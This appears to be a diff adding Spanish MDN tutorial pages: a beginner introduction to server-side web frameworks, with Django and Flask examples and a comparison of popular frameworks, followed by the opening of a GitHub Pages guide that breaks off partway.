+title: Frameworks Web de lado servidor
+slug: Learn/Server-side/Primeros_pasos/Web_frameworks
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Frameworks web
+  - Guía
+  - Principiante
+  - Programación lado servidor
+  - Servidor
+  - introducción
+translation_of: Learn/Server-side/First_steps/Web_frameworks
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">El artículo anterior te mostró que pinta tiene la comunicación entre los clientes web y los servidores, la naturaleza de las peticiones y respuestas HTTP, y lo que necesita hacer una aplicación web de lado servidor para responder a las peticiones de un explorador web. Con este conocimiento en nuestra mochila, es hora de explorar cómo los frameworks web pueden simplificar estas tareas, y darte una idea de cómo escogerías un framework para tu primera aplicación web de lado servidor.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>
+    <p>Conocimientos de computación básicos. Comprensión de alto nivel de cómo gestiona y responde a las peticiones HTTP el código de lado servidor (ver <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a>).</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Entender cómo los frameworks web pueden simplificar el desarrollo/mantenimiento de código de lado servidor y conseguir que los lectores piensen sobre la elección del framework para su propio desarrollo.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Las siguientes secciones ilustran algunos puntos usando fragmentos de código tomados de frameworks web reales. No te preocupes si no todo tiene sentido ahora; te pondremos a trabajar sobre el código en nuestros módulos de framework específicos.</p>
+
+<h2 id="Visión_general">Visión general</h2>
+
+<p>Los frameworks de lado servidor (es decir, "los frameworks de aplicaciones web") son frameworks software que hacen más fácil escribir, mantener y escalar aplicaciones web. Proporcionan herramientas y bibliotecas que simplifican tareas comunes de desarrollo web, incluyendo enrutado de URLs a los manejadores apropiados, interactuación con bases de datos, soporte de sesiones y autorizaciones de usuario, formateado de la salida (ej, HTML, JSON, XML), y mejora de la seguridad contra los ataques web.</p>
+
+<p>La sección siguiente proporciona un poco más detalle sobre cómo los frameworks web pueden facilitar el desarrollo de aplicaciones web. Explicaremos a continuación algunos de los criterios que puedes usar para elegir un framework web, y luego hacer una lista de algunas de tus opciones.</p>
+
+<h2 id="¿Qué_puede_hacer_por_tí_un_framework_web">¿Qué puede hacer por tí un framework web?</h2>
+
+<p>Los frameworks web proporcionan herramientas y bibliotecas para simplificar operaciones comunes de desarrollo web. No <em>tienes</em> que usar un framework web de lado servidor, pero se recomienda encarecidamente — te hará la vida mucho más fácil.</p>
+
+<p>Esta sección debate algo de la funcionalidad que proporcionan con frecuencia los frameworks web (!no todo framework proporcionará necesariamente todas estas caracteríticas!)</p>
+
+<h3 id="Trabajar_directamente_con_peticiones_y_respuestas_HTTP">Trabajar directamente con peticiones y respuestas HTTP</h3>
+
+<p>Como vimos en el último artículo, los servidores web y los exploradores se comunican vía el protocolo HTTP — los servidores esperan las peticiones HTTP del explorador y devuelven información en respuestas HTTP. Los frameworks web te permiten escribir sintaxis simplificada que generará el código de lado servidor para trabajar con estas peticiones y respuestas. Esto significa que tendrás un trabajo más fácil, interacción más fácil, código de más alto nivel en vez de primitivas de red de bajo nivel.</p>
+
+<p>El ejemplo de más abajo muestra cómo funciona ésto en el framework web Django (Python). Cada función de visualización "view" (un manejador de peticiones) recibe un objeto <code>HttpRequest</code> que contiene información de petición, y se le pide devolver un objeto <code>HttpResponse</code> con la salida formateada (en este caso una cadena de texto).</p>
+
+<pre class="brush: python"># Django view function
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest (request)
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Output string to return')
+</pre>
+
+<h3 id="Enrutado_de_peticiones_al_manejador_adecuado">Enrutado de peticiones al manejador adecuado</h3>
+
+<p>La mayoría de sitios proporcionan un gran número de recursos diferentes, accesibles a través de distintas URLs. La gestión de todo esto en una sola función sería difiicil de mantener, de manera que los frameworks web proporcionan mecanismos simples para mapear patrones URL a funciones de gestión específicas. Esta aproximación tiene también beneficios en términos de mantenimiento, porque puedes cambiar el URL que se usa para entregar una característica en particular sin tener que cambiar el código subyacente.</p>
+
+<p>Diferentes frameworks usan diferentes mencanismos para el mapeo. Por ejemplo, el framework web Flask (Python) añade rutas a las funciones de visualización usando un "decorador".</p>
+
+<pre class="brush: python">@app.route("/")
+def hello():
+    return "Hello World!"</pre>
+
+<p>Por el contrario Django espera que los desarrolladores definan una lista de mapeos URL entre un patrón URL y una función de visualización.</p>
+
+<pre class="brush: python">urlpatterns = [
+    url(r'^$', views.index),
+    # example: /best/myteamname/5/
+    url(r'^(?P&lt;team_name&gt;\w.+?)/(?P&lt;team_number&gt;[0-9]+)/$', views.best),
+]
+</pre>
+
+<h3 id="Fácil_acceso_a_los_datos_en_la_petición">Fácil acceso a los datos en la petición</h3>
+
+<p>Los datos pueden codificarse en una petición HTTP de muchas maneras. Una petición <code>GET</code> para recuperar ficheros o datos de un servidor puede codificar los datos que se necesitan en parámetros URL o dentro de una estructura URL. Una petición <code>POST</code> para actualizar un recurso en el servidor puede en cambio incluir la información de actualización como "datos POST" dentro del cuerpo de la petición. La petición HTTP puede también incluir información sobre la sesión o usuario actual en un cookie de lado cliente.</p>
+
+<p>Los frameworks web proporcionan mecanismos apropiados del lenguaje de programación para acceder a esta información. Por ejemplo, el objeto <code>HttpRequest</code>  que pasa Django a toda función de visualización contiene métodos y propiedades para acceder a la URL de destino, el tipo de petición (ej. HTTP <code>GET</code>), parámetros <code>GET</code>  o <code>POST</code>, cookie y datos de session, etc. Django puede también pasar información codificada en la estructura de la URL definiendo "patrones de captura" en el mapeador URL (mira el último fragmento de código de la sección de arriba).</p>
+
+<h3 id="Abstraer_y_simplificar_el_acceso_a_bases_de_datos">Abstraer y simplificar el acceso a bases de datos</h3>
+
+<p>Los sitios web utilizan bases de datos para almacenar información tanto para ser compartida con los usuarios como sobre los propios usuarios. Los frameworks web proporcionan frecuentemente una capa de base de datos que abstrae las operaciones de lectura, escritura, consulta y borrado de la base. Nos referimos a esta capa de abstracción como Mapeador de Objetos Relacionados (Object-Relational Mapper, ORM).</p>
+
+<p>Usar un ORM tiene dos beneficios:</p>
+
+<ul>
+ <li>Puedes reemplazar la base de datos subyacente sin tener necesariamente que cambiar el código que la usa: Esto permite a los desarrolladores optimizar las características de las diferentes bases de datos en función de su uso.</li>
+ <li>la validación básica de datos puede implementarse dentro del framework. Esto hace más fácil y seguro comprobar que los datos se almacenan en el campo correcto de la base, que tienen el formato adecuado (ej. una dirección de correo electrónico), y que no son maliciosos de ninguna manera (los craqueadores utilizan ciertos patrones de código para hacer cosas malas como borrar registros de las bases de datos).</li>
+</ul>
+
+<p>Por ejemplo, el framework web de Django proporciona un ORM, y utiliza la referencia del objeto usado para definir la estructura de un registro similar al <em>modelo</em>. El modelo especifica los <em>tipos</em> de campos que se almacenarán, lo que puede proporcionar una validación a nivel de campo sobre qué información se puede guardar (ej. un campo de email sólo permitiría direcciones válidas de correo electrónico). Las definiciones de campos pueden también especificar su tamaño máximo, etiquetas de texto para los formularios, etc. El modelo no establece ninguna información sobre la base de datos subyacente ya que ese es un ajuste de configuración que se puede cambiar de forma separada de nuestro código.</p>
+
+<p>El primer fragmento de código más abajo muestra un modelo de Django muy simple para un objeto <code>Team</code>. Éste almacena el nombre y nivel del equipo como campos de caracteres y especifica el número máximo de éstos que pueden almacenarse en cada registro. El <code>team_level</code> es un campo de selección, de manera que proporcionamos un mapeo entre las opciones a mostrar en pantalla y los datos a almacenar, junto con un valor por defecto.</p>
+
+<pre class="brush: python">#best/models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11, 'Under 11s'),
+        ...  #list our other teams
+    )
+    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
+</pre>
+
+<p>El modelo de Django proporciona una API de consulta simple para buscar en la base de datos. Ésta puede comprobar coincidencias contra un gran número de campos al mismo tiempo usando diferentes criterios (ej. exacto, insensible a las mayúsculas, mayor que, etc.), y puede soportar sentencias complejas (por ejemplo, puedes especificar una búsqueda de equipos U11 que tengan un nombre de equipo que empiece por "Fr" or finalice con "al").</p>
+
+<p>El segundo fragmento de código muestra una función de visualización (manejador de recurso) para mostrar en pantalla todos nuestros equipos U09. En este caso especificamos que queremos filtrar todos los registros donde el campo <code>team_level</code> tenga exactamente el texto 'U09' (fíjate debajo cómo este criterio se pasa como argumento a la función <code>filter()</code> con el nombre de campo y tipo de coincidencia separados por guiones bajos dobles: <strong>team_level__exact</strong>).</p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def youngest(request):
+    <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong>
+    context = {'youngest_teams': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<dl>
+</dl>
+
+<h3 id="Renderización_de_datos">Renderización de datos</h3>
+
+<p>Los frameworks web proporcionan con frecuencia sistemas de plantillas. Éstas te permiten especificar la estructura de un documento de salida, usando marcadores de posición para los datos que serán añadidos cuando se genere la página. Las plantillas se usan con frecuencia para crear HTML, pero también pueden crear otros tipos de documentos.</p>
+
+<p>Los frameworks web proporcionan con frecuencia un mecanismo para facilitar la generación de otros formatos a partir de los datos almacenados, incluyendo {{glossary("JSON")}} y {{glossary("XML")}}.</p>
+
+<p>Por ejemplo, el sistema de plantillas de Django te permite especificar variables usando una sintaxis de "llaves dobles" (ej. <code>{</code><code>{ <em>variable_name</em> </code><code>}</code><code>}</code>),  que serán reemplazadas por valores pasados desde la función de visualización cuando la página sea renderizada. El sistema de plantillas también proporciona soporte para expresiones (con la sintaxis: <code>{% <em>expression</em> %}</code>), que permite a las plantillas realizar operaciones simples como iterar sobre la lista de valores pasados a la misma.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Muchos otros sistemas de plantillas usan una sintaxis similar, ej.: Jinja2 (Python), Handlebars (JavaScript), Moustache (JavaScript), etc.</p>
+</div>
+
+<p>El fragmento de código de abajo muestra como hacer este trabajo. Continuando el ejemplo del "equipo más joven" de la sección anterior, la "view" pasa a la plantilla HTML una variable tipo lista llamada <code>youngest_teams</code>. Dentro del esqueleto HTML tenemos una expresión que primero comprueba que la variable <code>youngest_teams</code> existe, y luego itera sobre ella en un bucle <code>for</code>. En cada iteración la plantilla presenta en pantalla el valor del <code>team_name</code>  del equipo de uno de los elementos de la lista.</p>
+
+<pre class="brush: html">#best/templates/best/index.html
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;body&gt;
+
+ {% if youngest_teams %}
+    &lt;ul&gt;
+    {% for team in youngest_teams %}
+        &lt;li&gt;\{\{ team.team_name \}\}&lt;/li&gt;
+    {% endfor %}
+    &lt;/ul&gt;
+{% else %}
+    &lt;p&gt;No teams are available.&lt;/p&gt;
+{% endif %}
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Como_escoger_un_framework_web">Como escoger un framework web</h2>
+
+<p>Existen muchos frameworks web para casi todos los lenguajes de programación que quieras usar (listamos unos pocos de los frameworks más populares en la sección siguiente). Con tantas opciones, llega a ser difícil deducir qué framework proporciona el mejor punto de partida para tu nueva aplicación web. </p>
+
+<p>Algunos de los factores que pueden afectar tu decisión son:</p>
+
+<ul>
+ <li><strong>Esfuerzo en el aprendizaje:</strong> El esfuerzo en el aprendizaje de un framework web depende de lo familiarizado que estés con el lenguaje de programación subyacente, la consistencia de su API, la calidad de su documentación, y el tamaño y actividad de su comunidad. Si estás partiendo de una nula experiencia en programación, considera entonces Django (es uno de los más fáciles de aprender basándose en los criterios anteriores). Si formas parte de un equipo de desarrolladores que tienen ya una experiencia significante con un framework web o lenguaje de programación en particular tiene sentido entonces que sigas fiel a él.</li>
+ <li><strong>Productividad:</strong> Productividad es una medida de cuán rápido puedes crear nuevas características una vez que te familiarices con el framework, incluidos tanto el esfuerzo para escribir como para mantener el código (ya que puedes escribir nuevas características mientras se rompen las antiguas). Muchos de los factores que afectan a la productividad son similares a los de el "Esfuerzo para aprender" — ej. documentación, comunidad, experiencia en programación, etc. — otros factores incluyen:
+  <ul>
+   <li><em>Propósito/Origen del framework</em>: Algunos frameworks web fueron creados inicialmente para resolver ciertos tipos de problemas, y se mantienen <em>mejor</em> en la creación de apllicaciones web con problemática similar. Por ejemplo, Django fue creado para soportar el desarrollo de un sitio web de un periódico, por lo que es bueno para blogs y otros sitios que impliquen la publicación de cosas. Por contra, Flask es un framework de peso mucho más ligero y es fantástico en la creación de aplicaciones web que se ejecuten en dispositivos embebidos.</li>
+   <li><em>Dogmático versus No Dogmático</em>:  Un framework dogmático es aquél en el que hay recomendaciones sobre el "mejor" método de resolver un problema en particular. Los frameworks dogmáticos tienden a ser más productivos cuando estás tratando de resolver problemas comunes, porque te llevan en la dirección correcta, sin embargo son menos flexibles a veces.</li>
+   <li><em>Con baterías incluidas versus Hazlo tu mismo</em>: Aalgunos frameworks web incluyen herramientas/bibliotecas que abordan por defecto todos los problemas que sus desarrolladores pueden pensar, mientras que los frameworks más ligeros esperan que los desarrolladores web escojan y elijan las soluciones a sus problemas en bibliotecas separadas (Django es un ejemplo del primero, mientras que Flask es un ejemplo de un framework mucho más ligero). Los frameworks que incluyen todo son con frecuencia más fáciles para empezar con ellos porque ya tienes todo lo que necesitas, y las probabilidades son altas de que esté bien integrado y bien documentado. Sin embargo si un framework más pequeño tiene todo lo que puedas necesitar funcionará en entornos mas constreñidos y tendrán un subconjunto de cosas más pequeñas y más fáciles de aprender.</li>
+   <li><em>Si el framework potencia o no buenas prácticas de desarrollo</em>: Por ejemplo, un framework que promueve una arquitectura <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Modelo-View-Controlador</a> para separar el código en funciones lógicas resultará más mantenible que uno que no tiene espectativas en los desarrolladores. Similarmente, el diseño del framework puede tener un gran impacto en cómo de fácil sea probar y reusar el código.</li>
+  </ul>
+ </li>
+ <li><strong>Desempeño del framework/lenguaje de programación: </strong>Normalmente la "velocidad" no es el factor más grande en la selección porque, incluso, con tiempos de ejecución relativamente lentos como Python, son más que suficientemente buenos para sitios de tamaño medio ejecutándose en hardware moderado. Los beneficios percibidos en velocidad de otro lenguaje, ej. C++ o JavaScript, pueden verse compensados por los costes de aprendizaje y mantenimiento.</li>
+ <li><strong>Soporte de Cache:</strong> A medida que tu sitio web adquiere más éxito puedes encontrarte que no sea capaz de soportar el número de peticiones que recibe cuando acceden los usuarios. En este punto puedes considerar añadir soporte de cache. La cache es una optimización en la que almacenas todo o parte de una petición web de manera que no tiene que ser recalculada en subsiguientes peticiones. Devolver una respuesta cacheada es más rápido que calcular una la primera vez. El cacheo puede implementarse en tu código o en el servidor (ver <a href="https://en.wikipedia.org/wiki/Reverse_proxy">proxy inverso</a>). Los frameworks web tienen diferentes niveles de soporte para definir qué contenido debe ser cacheado.</li>
+ <li><strong>Escalabilidad:</strong> Una vez que tu sitio tenga un éxito fabuloso agotarás los beneficios del cacheo e incluso alcanzarás los límites del <em>escalado vertical </em>(ejecutar tu aplicación en un hardware más potente). En este punto podrás necesitar <em>escalar horizontalmente</em> (compartir la carga distribuyendo tu sitio a lo largo de un número de servidores web o bases de datos) o escalar "geográficamente" porque algunos de tus clientes están localizados muy lejos de tu servidor. El framework web que elijas puede marcar una gran diferencia en cómo de fácil sea escalar tu sitio.</li>
+ <li><strong>Seguridad web:</strong> Algunos frameworks web proporcionan mejor soporte para manejar ataques web comunes. Django por ejemplo desinfecta todas las entradas de los usuarios de las plantillas HTML de manera que el posible código JavaScript introducido por el usuario no pueda ejecutarse. Otros frameworks proporcionan protección similar, pero no siempre está habilitada por defecto.</li>
+</ul>
+
+<p>Hay muchos otros posibles factores, incluyendo licenciamiento, si el framework está bajo desarrollo activo o no, etc.</p>
+
+<p>Si eres un completo principiante en la programación probablemente escogerás tu framework basándote en la "facilidad de aprendizaje". Además de la "facilidad de uso" del lenguaje mismo, la alta calidad de la documentación/tutoriales y una comunidad activa que ayuda a nuevos usuarios son tus recursos más valiosos. Nosotros hemos escogido <a href="https://www.djangoproject.com/">Django</a> (Python) y <a href="http://expressjs.com/">Express</a> (Node/JavaScript) para escribir nuestros ejemplos de más adelante en el curso, principalmente porque son fáciles de aprender y tienen un buen soporte.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Vayamos a los sitios principales de <a href="https://www.djangoproject.com/">Django</a> (Python) y <a href="http://expressjs.com/">Express</a> (Node/JavaScript) y comprobemos su documentación y su comunidad.</p>
+
+<ol>
+ <li>Navega a los sitios principales (enlazados abajo)
+  <ul>
+   <li>Pincha en los enlaces de los menus de Documentación (cosas que se llaman como "Documentación, Guía, Referencia API, Primeros Pasos".</li>
+   <li>¿Puedes ver temas que te muestran como configurar enrutado URL, plantillas y bases de datos/modelos?</li>
+   <li>¿Son los documentos suficientemente claros?</li>
+  </ul>
+ </li>
+ <li>Navega a las listas de correo de cada sitio (accesible desde los enlaces de Comunidad).
+  <ul>
+   <li>¿Cuántas preguntas se han realizado en unos pocos días recientes?</li>
+   <li>¿Cuántas tienen respuestas?</li>
+   <li>¿Tienen una comunidad activa?</li>
+  </ul>
+ </li>
+</ol>
+</div>
+
+<h2 id="¿Unos_pocos_frameworks_web_buenos">¿Unos pocos frameworks web buenos?</h2>
+
+<p>Avancemos ahora, y debatamos unos pocos frameworks web específicos de lado servidor.</p>
+
+<p>Los frameworks de lado servidor de más abajo representan unos pocos de los más populares disponibles en el momento de escribir este artículo. Todos ellos tienen todo lo que necesitas para ser productivo — son de código abierto, están bajo desarrollo activo, tienen comunidades entusiastas creando documentación y ayudando a los usuarios en paneles de debate, y se usan en un gran número de sitios web de perfil alto. Hay muchos otros frameworks de lado servidor fantásticos que puedes descubrir usando una búsqueda básica en internet. </p>
+
+<div class="note">
+<p><strong>Nota</strong>: ¡Las descripciones vienen (parcialmente) de los sitios web de los frameworks!</p>
+</div>
+
+<h3 id="Django_(Python)">Django (Python)</h3>
+
+<p><a href="https://www.djangoproject.com/">Django</a> es un Framework Web Python de alto nivel que promueve el desarrollo rápido y limpio y el diseño pragmático. Construido por desarrolladores experimentados, tiene en cuenta muchos de los problemas del desarrollo web, de manera que puedes focalizarte en escribir el código de tu app sin necesidad de reinventar la rueda. Es gratis y de código abierto.</p>
+
+<p>Django sigue la filosofía de "Baterias incluidas" y proporciona casi todo lo que la mayoría de desarrolladores querría hacer "de fábrica". Como todo está incluido, todo funciona en conjunto, sigue principios de diseño consistentes y tiene una extensa documentación actualizada. Es también veloz, seguro y muy escalable. Al estar basado en Python, el código de Django es fácil de leer y de mantener.</p>
+
+<p>Entre los sitios populares que usan Django (según su página web) se incluyen: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</p>
+
+<h3 id="Flask_(Python)">Flask (Python)</h3>
+
+<p><a href="http://flask.pocoo.org/">Flask</a> es un microframework para Python. </p>
+
+<p>A pesar de ser minimalista, Flask puede crear sitios web "de fábrica". Contiene un servidor de desarrollo y depurador, e incluye soporte para plantillas <a href="https://github.com/pallets/jinja">Jinja2</a>, cookies seguros, <a href="https://en.wikipedia.org/wiki/Unit_testing">prueba de unidades</a>, y distribución de peticiones <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a>. Tiene  buena documentación y una comunidad activa. </p>
+
+<p>Flask se ha vuelto extremadamente popular, particularmente entre desarrolladores que necesitan proporcionar servicios web en sistemas pequeños, y con recursos escasos (ej. ejecutar un servidor web en una  <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/">Controladores de Drones</a>, etc.)</p>
+
+<h3 id="Express_(Node.jsJavaScript)">Express (Node.js/JavaScript)</h3>
+
+<p><a href="http://expressjs.com/">Express</a> es un framework web veloz, no dogmático, flexible y minimalista para <a href="https://nodejs.org/en/">Node.js</a> (Node es un entorno sin explorador web para ejecutar JavaScript). Proporciona un conjunto de características robusto para aplicaciones web y móviles y entrega valiosos métodos de utilidades HTTP y <a href="/en-US/docs/Glossary/Middleware">middleware</a>.</p>
+
+<p>Express es extremadamente popular, en parte porque facilita la migración de programadores web de JavaScript de lado cliente a desarrollo de lado servidor, y en parte porque es eficiente con los recursos (el entorno de node subyacente usa multitarea ligera dentro de un thread en vez de expandirse en procesos separados para cada nueva petición web).</p>
+
+<p>Debido a que Express es un framework web minimalista no incorpora cada componente que querrías usar (por ejemplo, el acceso a bases de datos y el soporte de usuarios y sesiones se proporciona a través de bibliotecas independientes). Hay muchos componentes independientes excelentes, !pero algunas veces puede ser difícil deducir cuál es el mejor para un propósito en particular!</p>
+
+<p>Muchos frameworks populares y completamente equipados (incluyendo ambos tipos de frameworks de lado servidor y de lado cliente) están basados en Express, como <a href="http://feathersjs.com/">Feathers</a>, <a href="https://www.itemsapi.com/">ItemsAPI</a>, <a href="http://keystonejs.com/">KeystoneJS</a>, <a href="http://krakenjs.com/">Kraken</a>, <a href="http://lean-stack.io/">LEAN-STACK</a>, <a href="http://loopback.io/">LoopBack</a>, <a href="http://mean.io/">MEAN</a>, and <a href="http://sailsjs.org/">Sails</a>.</p>
+
+<p>Un montón de compañías de perfil alto usan Express, como: Uber, Accenture, IBM, etc. (a<a href="http://expressjs.com/en/resources/companies-using-express.html">quí</a> tienes una lista).</p>
+
+<h3 id="Ruby_on_Rails_(Ruby)">Ruby on Rails (Ruby)</h3>
+
+<p><a href="http://rubyonrails.org/">Rails</a> (normalmente referenciado como "Ruby on Rails") es un framework web escrito para el lenguaje de programación Ruby.</p>
+
+<p>Rails sigue una filosofía de diseño muy similar a Django. Como Django proporciona mecanismos estándard para el enrutado de URLs, acceso a datos de bases, generación de plantillas y formateo de datos como {{glossary("JSON")}} o {{glossary("XML")}}. Promueve de forma similar el uso de patrones de diseño como DRY ("dont repeat yourself", no te repitas — escribir el código una única vez si es posible), MVC (model-view-controller) y numerosos otros.</p>
+
+<p>Hay por supuesto muchas diferencias debido a decisiones específicas de diseño y la naturaleza de los lenguajes.</p>
+
+<p>Rails se usa en sitios de perfil alto, como:<strong> </strong><a href="https://basecamp.com/">Basecamp</a>, <a href="https://github.com/">GitHub</a>, <a href="https://shopify.com/">Shopify</a>, <a href="https://airbnb.com/">Airbnb</a>, <a href="https://twitch.tv/">Twitch</a>, <a href="https://soundcloud.com/">SoundCloud</a>, <a href="https://hulu.com/">Hulu</a>, <a href="https://zendesk.com/">Zendesk</a>, <a href="https://square.com/">Square</a>, <a href="https://highrisehq.com/">Highrise</a>.</p>
+
+<h3 id="ASP.NET">ASP.NET</h3>
+
+<p><a href="http://www.asp.net/">ASP.NET</a> es un framework web de código abierto desarrollado por Microsoft para construir aplicaciones y servicios modernos. Con ASP.NET puedes crear rápidamente sitios web basados en HTML, CSS, y JavaScript, escalarlos para ser usados por milllones de usuarios y añadir fácilmente capacidades complejas como APIs web, formularios sobre datos o comunicaciones en tiempo real.</p>
+
+<p>Uno de los diferenciadores de ASP.NET es que está construido sobre el <a href="https://en.wikipedia.org/wiki/Common_Language_Runtime">Common Language Runtime</a> (CLR), permitiendo a los programadores escribir código ASP.NET usando cualquier lenguaje .NET soportado (C#, Visual Basic, etc.). Como muchos productos Microsoft se beneficia de herramientas excelentes (frecuentemente gratuitas), y una comunidad de desarrolladores activa, y documentación bien escrita.</p>
+
+<p>ASP.NET se usa por Microsoft, Xbox.com, Stack Overflow, y muchos otros.</p>
+
+<h3 id="Mojolicious_(Perl)">Mojolicious (Perl)</h3>
+
+<p><a href="http://mojolicious.org/">Mojolicious</a> es un framework web de nueva generación para el lenguaje de programación Perl.</p>
+
+<p>Hace tiempo en los primeros días de la Web, mucha gente aprendió Perl gracias a una magnífica biblioteca llamada <a href="https://metacpan.org/module/CGI">CGI</a>. Era lo suficientemente simple para empezar sin saber mucho sobre el lenguaje y lo suficientemente potente para mantenerte en marcha. Mojolicious implementa esta idea usando el último grito de las tecnologías.</p>
+
+<p>Algunas de las caracteríticas que proporciona Mojolicious son: <strong>Framework Web en tiempo real</strong>, para crecer fácilmente desde prototipos de un solo fichero hasta aplicaciones web MVC bien estructuradas; rutas RESTful, plugins, comandos, plantillas especificas de Perl, negociación de contenidos, gestión de sesiones, validación de formatos, framework de pruebas, servidor de ficheros estáticos, detección de CGI/<a href="http://plackperl.org">PSGI</a>, soporte Unicode de primera clase; Implementación  cliente/servidor completamente equipada de HTTP y WebSocket con IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, y soporte de compresión multipart y gzip; parseadores JSON y HTML/XML y generadores con soporte de selector CSS; Muy limpio, portable y API orientada a objetos y Perl puro sin magia oculta; Código fresco basado en años de experiencia, gratis y de código abierto.</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Este artículo ha mostrado que los frameworks web pueden hacer fácil el desarrollo y mantenimiento del código de lado servidor. También ha proporcionado una visión general de alto nivel de unos pocos frameworks más populares y debatido los criterios para elegir el framework para una aplicación web. Deberías tener en este momento una idea de cómo elegir un framework web para tu propio desarrollo de lado servidor. Si no, no te preocupes — más tarde a lo largo del curso te daremos tutoriales detallados de Django y Express para darte algo de experiencia de funcionamiento real con un framework web.</p>
+
+<p>Para el próximo artículo de este módulo cambiaremos de dirección ligeramente y consideraremos la seguridad web.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p>
+
+<p> </p>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Introducci%C3%B3n">Introducción al lado servidor </a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Web_frameworks">Frameworks web de lado servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad de sitios Web</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/learn/using_github_pages/index.html b/files/es/learn/using_github_pages/index.html
new file mode 100644
index 0000000000..81a7138430
--- /dev/null
+++ b/files/es/learn/using_github_pages/index.html
@@ -0,0 +1,103 @@
+---
+title: ¿Cómo se utiliza Github pages?
+slug: Learn/Using_Github_pages
+translation_of: Learn/Common_questions/Using_Github_pages
+---
+<p class="summary"><a href="https://github.com/">GitHub</a> es un sitio "social coding". Te permite subir repositorios de código para almacenarlo en el <strong>sistema de control de versiones</strong> <a href="http://git-scm.com/">Git</a>. Tu puedes colaborar en proyectos de código, y el sistema es código abierto por defecto, lo que significa que cualquiera en el mundo puede encontrar tu código en GitHub, usarlo, aprender de el, y mejorarlo. ¡Tú puedes hacer eso con el código de otras personas tambien! Este artículo provee una guía básica para publicar contenido usando la característica gh-pages de Github.</p>
+
+<h2 id="Publicando_contenido">Publicando contenido</h2>
+
+<p>Github es una comunidad muy importante y útil para involucrarse, y Git/GitHub es un <a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">sistema de control de versiones</a> muy popular — la mayoría de las empresas de tecnología ahora lo utilizan en su flujo de trabajo. GitHub tiene una característica muy útil llamada <a href="https://pages.github.com/">GitHub pages</a>, que te permite publicar el código del sitio en vivo en la Web.</p>
+
+<h3 id="Configuración_básica_de_Github"><span class="short_text" id="result_box" lang="es"><span class="hps">Configuración básica</span> de <span class="hps">Github</span></span></h3>
+
+<ol>
+ <li>Primero que todo, <a href="http://git-scm.com/downloads">instala Git</a> en tu máquina. <span id="result_box" lang="es"><span class="hps">Este es el</span> <span class="hps">software del sistema</span> <span class="hps">de control de versiones</span> <span class="hps">subyacente en el que</span> <span class="hps">GitHub</span> <span class="hps">funciona</span><span>.</span></span></li>
+ <li>Seguido, <a href="https://github.com/join">Regístrate para una cuenta de GitHub</a>. Es simple y fácil.</li>
+ <li>Una vez te hayas registrado, inicia sesión en <a href="https://github.com">github.com</a> con tu nombre de usuario y contraseña.</li>
+</ol>
+
+<h3 id="Preparando_tu_código_para_subirlo">Preparando tu código para subirlo</h3>
+
+<p>Tú puedes almacenar cualquier código que tu quieras en un repositorio de Github, pero para usar la característica páginas de Github con pleno efecto, tu código debe estar estructurado como un sitio web típico, por ejemplo que el punto de entrada primario sea un archivo HTML llamado<code> index.html</code>.</p>
+
+<p>La otra cosa que necesitas hacer <span id="result_box" lang="es"><span class="hps">antes de seguir adelante</span> <span class="hps">es</span> <span class="hps">inicializar</span> <span class="hps">el directorio de</span> <span class="hps">código como</span> <span class="hps">un repositorio</span> <span class="hps">Git</span></span>. para hacer esto:</p>
+
+<ol>
+ <li>Apunta la línea de comandos a tu directorio <code>test-site</code> (<span id="result_box" lang="es"><span class="hps">o como se</span> <span class="hps">llame</span> <span class="hps">el directorio que contiene</span> tu<span class="hps"> sitio web</span></span>). Para esto, usa el comando <code>cd</code> (Es decir "<em>cambio de</em> <em>d</em>irectorio"). Esto es lo que deberías digitar si has puesto tu sitio web en un directorio llamado <code>test-site</code> en tu escritorio:
+
